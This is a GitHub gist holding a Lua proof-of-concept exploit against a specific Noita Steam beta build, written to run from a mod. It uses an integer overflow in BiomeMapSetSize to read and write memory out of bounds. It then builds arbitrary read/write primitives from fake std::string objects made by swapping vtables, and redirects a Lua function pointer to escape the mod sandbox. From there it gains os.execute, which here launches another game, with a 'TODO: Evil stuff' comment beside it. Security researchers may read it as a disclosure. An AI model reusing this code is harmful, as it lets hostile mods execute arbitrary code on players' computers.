Created
December 14, 2023 18:07
-
-
Save dextercd/7894f707c4cba714c5b5b40ffabc83ee to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- Hardcoded for the Aug 29 2023 Steam beta version of Noita | |
SIZE_VERLET_PHYSICS_COMP = 11064 | |
MAP_HEIGHT = 2768 -- this * 4 is close to SIZE_VERLET_PHYSICS_COMP | |
ADDR_VTABLE_VERLET_PHYSICS_COMP = 0x00e15b78 | |
ADDR_VTABLE_ELEC_CHARGE_COMP = 0x00e6e4c4 | |
ADDR_VTABLE_VSC_COMP = 0x00e68858 | |
IAT_LUAOPEN_STRING = 0x00d3278c | |
-- This is the important part of the exploit. Noita allocates a much smaller | |
-- buffer than it should, because width*height overflows. | |
-- | |
-- The area calculation here overflows so that: | |
-- 1073741825 * MAP_HEIGHT % 2**32 == MAP_HEIGHT | |
-- | |
-- Even though the area is wrong, Noita still writes the new width/height into | |
-- the biome map, which is used to check if the x/y is in range for | |
-- BiomeMap[Get|Set]Pixel. So now we can read/write outside the buffer | |
BiomeMapSetSize(1073741825, MAP_HEIGHT) | |
-- The buffer size (MAP_HEIGHT*4) is close to VerletPhysicsComponent's size which | |
-- means it's likely allocated before the component created here. | |
local e = EntityCreateNew() | |
local v = EntityAddComponent2(e, "VerletPhysicsComponent", {_enabled=false}) | |
-- Find where the component is stored relative to the biome map buffer. | |
local offset = MAP_HEIGHT | |
while | |
BiomeMapGetPixel(offset, 0) ~= ADDR_VTABLE_VERLET_PHYSICS_COMP | |
do | |
offset = offset + 1 | |
end | |
-- Here starts the usual stuff.. Create a arbitrary read/write functions and use | |
-- those to call luaopen_package | |
function get_lua_addr(object) | |
return tonumber(("%p"):format(object), 16) | |
end | |
-- Change the vtable of v to different component types to construct a fake | |
-- std::string pointing to arbitrary memory | |
function construct_string(addr, length) | |
BiomeMapSetPixel(offset, 0, BiomeMapConvertPixelFromUintToInt(ADDR_VTABLE_ELEC_CHARGE_COMP)) | |
ComponentSetValue2(v, "charge_time_frames", addr) | |
ComponentSetValue2(v, "fx_emission_interval_max", length) | |
ComponentSetValue2(v, "charge", 1000) | |
-- Fields set above align with std::string name field of vsc component | |
BiomeMapSetPixel(offset, 0, BiomeMapConvertPixelFromUintToInt(ADDR_VTABLE_VSC_COMP)) | |
end | |
-- Read from the fake std::string. | |
function read_string() | |
return ComponentGetValue2(v, "name") | |
end | |
-- Write into the fake std::string's data. | |
function write_string(value) | |
ComponentSetValue2(v, "name", value) | |
end | |
local function read_int(addr) | |
construct_string(addr, 4) | |
local bytes = read_string() | |
local value = 0 | |
for i=1,math.min(#bytes, 4) do | |
value = value + string.byte(bytes, i) * math.pow(256, i - 1) | |
end | |
return value | |
end | |
local function write_int(addr, value) | |
local bytes = string.char( | |
bit.band(bit.rshift(value, 0), 0xff), | |
bit.band(bit.rshift(value, 8), 0xff), | |
bit.band(bit.rshift(value, 16), 0xff), | |
bit.band(bit.rshift(value, 24), 0xff) | |
) | |
construct_string(addr, 4) | |
write_string(bytes) | |
end | |
local luaopen_string = read_int(IAT_LUAOPEN_STRING) | |
local luaopen_package = luaopen_string - 5712 -- luaopen_package is a certain distance away | |
local fun_cfunc = 20 | |
write_int(get_lua_addr(SetPlayerSpawnLocation) + fun_cfunc, luaopen_package) | |
-- SetPlayerSpawnLocation is now actually luaopen_package! | |
SetPlayerSpawnLocation() | |
-- We can use package.loadlib to load anything we want. | |
local ffi = package.loadlib("lua51.dll", "luaopen_ffi")() | |
local os = package.loadlib("lua51.dll", "luaopen_os")() | |
-- TODO: Evil stuff 4.0 | |
os.execute('start "" "..\\Spelunky 2\\Spel2.exe"') -- surprise the user with Spelunky | |
-- Load a real biome map that uses sensible values | |
dofile("mods/nightmare/files/biome_map.lua") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment